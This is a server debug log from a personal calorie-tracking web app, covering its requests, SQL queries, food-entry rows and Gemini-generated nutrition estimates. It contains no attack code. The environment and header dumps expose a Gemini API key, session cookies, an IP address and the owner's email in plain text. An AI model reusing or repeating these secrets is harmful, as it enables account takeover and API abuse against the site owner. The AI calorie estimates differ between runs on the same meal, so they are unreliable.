    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '157.48.248.20',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-15T12:38:49.927Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-15T12:38:49.927Z server-connect:app Executing action step identify
2025-12-15T12:38:49.927Z server-connect:app options: { provider: 'security' }
2025-12-15T12:38:49.928Z server-connect:output identity: 1
2025-12-15T12:38:49.928Z server-connect:app Executing action step restrict
2025-12-15T12:38:49.928Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:38:49.928Z server-connect:output restrict: undefined
2025-12-15T12:38:49.928Z server-connect:app Executing action step single
2025-12-15T12:38:49.928Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-15T12:38:49.930Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-15T12:38:49.930Z server-connect:app Executing action step select
2025-12-15T12:38:49.930Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-15T12:38:49.932Z server-connect:output item_list: [
  {
    id: 390,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 1,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'N/A (supplement with specific purpose, generally low calorie)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Designed to enhance workout performance and focus. Generally low in calories and can be beneficial for intense training sessions for muscle development.'
  },
  {
    id: 391,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries - lower sugar and calories),Apple,Orange',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for immediate energy, potassium, and other micronutrients. Ideal for pre or post-workout fuel to support muscle development and recovery.'
  },
  {
    id: 392,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat Flatbread)',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 72,
    fat_gm: 4,
    quantity: '4 pieces (approx 200g cooked weight)',
    replacements: 'Brown rice (complex carbs),Quinoa (complex carbs, higher protein),Oats (complex carbs, good fiber)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'A staple source of complex carbohydrates, providing sustained energy for daily activities and intense workouts. Essential for replenishing muscle glycogen stores for muscle growth.'
  },
  {
    id: 393,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Aalo Sabji (Potato Curry)',
    calories: 280,
    protein_gm: 4,
    carbs_gm: 40,
    fat_gm: 15,
    quantity: '1 serving (approx 200g)',
    replacements: 'Mixed vegetable sabji (more fiber, fewer calories from potatoes),Dal (lentil curry - higher protein, lower fat),Paneer sabji (for higher protein intake)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Provides carbohydrates from potatoes and some healthy fats from cooking, contributing to energy needs. Can be made healthier by reducing oil content and adding more non-starchy vegetables.'
  },
  {
    id: 394,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Gulab Jamun',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 30,
    fat_gm: 8,
    quantity: '1 piece (approx 40g)',
    replacements: 'Fresh fruit (e.g., berries, apple),Small piece of dark chocolate (70%+ cocoa),Greek yogurt with a touch of honey (higher protein, lower sugar)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 3,
    skip_reason: 'This dessert is high in refined sugar and unhealthy fats from deep frying, providing empty calories with minimal nutritional value. It can lead to blood sugar spikes and contributes to excess calorie intake, which is counterproductive for muscle development and overall health goals.'
  },
  {
    id: 395,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Buttermilk',
    calories: 76,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 2,
    quantity: '1 glass (approx 200ml)',
    replacements: 'Plain water,Unsweetened herbal tea,Diluted yogurt (without added sugar)',
    created_at: '2025-12-15T00:10:59.000Z',
    skip_level: 1,
    skip_reason: "Buttermilk (Chaas) is an excellent source of hydration, probiotics, and lean protein, especially if made from skimmed or low-fat curd. It's low in calories and supports digestion, which is beneficial for muscle development and overall gut health for someone with a desk job and active lifestyle."
  },
  {
    id: 396,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 120,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 cup (240ml, assuming toned milk)',
    replacements: 'Black tea (zero calories),Green tea (zero calories),Herbal tea (zero calories),Tea with unsweetened almond milk (lower calories, often lower protein)',
    created_at: '2025-12-15T05:27:34.000Z',
    skip_level: 1,
    skip_reason: 'Provides protein, calcium, and hydration without added sugar. The protein content from milk can be beneficial for muscle development. Opting for toned/low-fat milk further manages fat intake.'
  }
]
2025-12-15T12:38:49.932Z server-connect:app Executing action step setvalue
2025-12-15T12:38:49.932Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-15T12:38:49.932Z server-connect:output var_total: 1141
2025-12-15T12:38:49.932Z server-connect:app Executing action step setvalue
2025-12-15T12:38:49.932Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-15T12:38:49.932Z server-connect:output var_consumed: 48
2025-12-15T12:38:49.932Z server-connect:app Executing action step setvalue
2025-12-15T12:38:49.933Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-15T12:38:49.933Z server-connect:output var_deficit: 1259
2025-12-15T12:38:49.933Z server-connect:app Executing action step custom
2025-12-15T12:38:49.933Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-15T12:38:49.934Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '1141',
    surplus_or_deficit: '1259',
    status_flag: 2
  }
]
2025-12-15T12:39:03.858Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-15T12:39:03.859Z server-connect:app Executing action step identify
2025-12-15T12:39:03.859Z server-connect:app options: { provider: 'security' }
2025-12-15T12:39:03.859Z server-connect:output identity: 1
2025-12-15T12:39:03.859Z server-connect:app Executing action step restrict
2025-12-15T12:39:03.859Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:39:03.859Z server-connect:output restrict: undefined
2025-12-15T12:39:03.859Z server-connect:app Executing action step processWithGemini
2025-12-15T12:39:03.859Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-15T12:39:16.447Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Vada Pav',
      quantity: '2',
      total_calories: 600,
      protein: 18,
      carbs: 80,
      fat: 24,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'High in refined carbohydrates (from white flour pav and potato) and unhealthy fats (from deep-frying). While providing quick energy, it lacks essential micronutrients and is not optimal for muscle development and overall health due to its processed nature and high fat content from frying.'
    },
    {
      food_name: 'Max Protein Rite Bite Bar',
      quantity: '1 bar (approx 50g)',
      total_calories: 200,
      protein: 20,
      carbs: 18,
      fat: 7,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "This is a good, convenient source of protein, which is essential for muscle repair and growth, especially for someone doing intense gym workouts. It's a quick way to get protein when fresh options are unavailable."
    }
  ],
  overall_summary: {
    total_calories: 800,
    total_protein: '38 g',
    total_carbs: '98 g',
    total_fat: '31 g'
  }
}
2025-12-15T12:39:33.453Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-15T12:39:33.453Z server-connect:app Executing action step identify
2025-12-15T12:39:33.453Z server-connect:app options: { provider: 'security' }
2025-12-15T12:39:33.453Z server-connect:output identity: 1
2025-12-15T12:39:33.453Z server-connect:app Executing action step restrict
2025-12-15T12:39:33.453Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:39:33.454Z server-connect:output restrict: undefined
2025-12-15T12:39:33.454Z server-connect:app Executing action step processWithGemini
2025-12-15T12:39:33.454Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-15T12:39:51.941Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Vada Pav',
      quantity: '2 pieces',
      total_calories: 600,
      protein: 16,
      carbs: 70,
      fat: 30,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'Vada Pav is a deep-fried item made with refined flour (pav), making it high in unhealthy fats and simple carbohydrates. While it provides calories, it offers limited nutritional value (micronutrients) and can contribute to unwanted fat gain, which is counterproductive for muscle development when cleaner fuel sources are available.'
    },
    {
      food_name: 'Max Protein RiteBite Bar',
      quantity: '1 bar',
      total_calories: 145,
      protein: 10,
      carbs: 15,
      fat: 5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'This protein bar is a convenient source of protein and provides a quick energy boost, which is beneficial for muscle repair and growth, especially around your gym sessions. While processed, it serves its purpose well for a muscle development goal.'
    }
  ],
  total_macros: {
    total_protein: '26g',
    total_carbs: '85g',
    total_fat: '35g',
    total_calories: 745
  },
  overall_recommendation: 'Given your goal of muscle development and 5 early morning gym sessions, prioritizing lean protein, complex carbohydrates, and healthy fats from whole, unprocessed foods is crucial. The Max Protein bar is a good, convenient option for a quick protein hit. However, the 2 Vada Pav should ideally be avoided or significantly reduced. They contribute a lot of empty calories from unhealthy fats and refined carbs, which are not optimal for muscle gain and can hinder body composition goals. Focus on replacing such items with nutrient-dense alternatives like grilled chicken/fish, paneer, lentils, eggs, whole grains (brown rice, oats, whole wheat bread), plenty of fruits and vegetables, and healthy fats (nuts, seeds, avocado). Adequate hydration is also essential for performance and recovery.'
}
2025-12-15T12:39:56.964Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-15T12:39:56.964Z server-connect:app Executing action step identify
2025-12-15T12:39:56.964Z server-connect:app options: { provider: 'security' }
2025-12-15T12:39:56.964Z server-connect:output identity: 1
2025-12-15T12:39:56.964Z server-connect:app Executing action step restrict
2025-12-15T12:39:56.964Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:39:56.965Z server-connect:output restrict: undefined
2025-12-15T12:39:56.965Z server-connect:app Executing action step condition
2025-12-15T12:39:56.965Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-15T12:39:56.965Z server-connect:app Executing action step repeat
2025-12-15T12:39:56.965Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-15T12:39:56.965Z server-connect:app Executing action step insert
2025-12-15T12:39:56.965Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T12:39:56.967Z server-connect:output calories: { affected: 1, identity: 397 }
2025-12-15T12:39:56.967Z server-connect:app Executing action step insert
2025-12-15T12:39:56.967Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T12:39:56.968Z server-connect:output calories: { affected: 1, identity: 398 }
2025-12-15T12:39:56.968Z server-connect:output repeat: [ {}, {} ]
2025-12-15T12:39:56.968Z server-connect:output condition: undefined
2025-12-15T12:39:57.172Z server-connect:router Serving templateView /calorie-tracker
2025-12-15T12:39:57.173Z server-connect:app Executing action step identify
2025-12-15T12:39:57.173Z server-connect:app options: { provider: 'security' }
2025-12-15T12:39:57.173Z server-connect:output identity: 1
2025-12-15T12:39:57.173Z server-connect:app Executing action step restrict
2025-12-15T12:39:57.173Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T12:39:57.173Z server-connect:output restrict: undefined
2025-12-15T12:39:57.173Z server-connect:router Render template layouts/main
2025-12-15T12:39:57.173Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '157.48.248.20',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.20',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '157.48.248.20',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-15T12:39:57.693Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-15T12:39:57.695Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-15T12:39:57.695Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-15T12:39:57.696Z server-connect:app Executing action step identify
2025-12-15T12:39:57.696Z server-connect:app options: { provider: 'security' }
2025-12-15T12:39:57.696Z server-connect:output identity: 1
2025-12-15T12:39:57.696Z server-connect:app Executing action step restrict
2025-12-15T12:39:57.696Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:39:57.696Z server-connect:app Executing action step identify
2025-12-15T12:39:57.696Z server-connect:app options: { provider: 'security' }
2025-12-15T12:39:57.696Z server-connect:output identity: 1
2025-12-15T12:39:57.697Z server-connect:app Executing action step restrict
2025-12-15T12:39:57.697Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:39:57.698Z server-connect:app Executing action step identify
2025-12-15T12:39:57.698Z server-connect:app options: { provider: 'security' }
2025-12-15T12:39:57.698Z server-connect:output identity: 1
2025-12-15T12:39:57.698Z server-connect:app Executing action step restrict
2025-12-15T12:39:57.698Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:39:57.699Z server-connect:output restrict: undefined
2025-12-15T12:39:57.699Z server-connect:app Executing action step select
2025-12-15T12:39:57.699Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-15T12:39:57.700Z server-connect:output restrict: undefined
2025-12-15T12:39:57.700Z server-connect:app Executing action step single
2025-12-15T12:39:57.700Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-15T12:39:57.701Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-15T12:39:57.701Z server-connect:output restrict: undefined
2025-12-15T12:39:57.701Z server-connect:app Executing action step single
2025-12-15T12:39:57.702Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-15T12:39:57.703Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
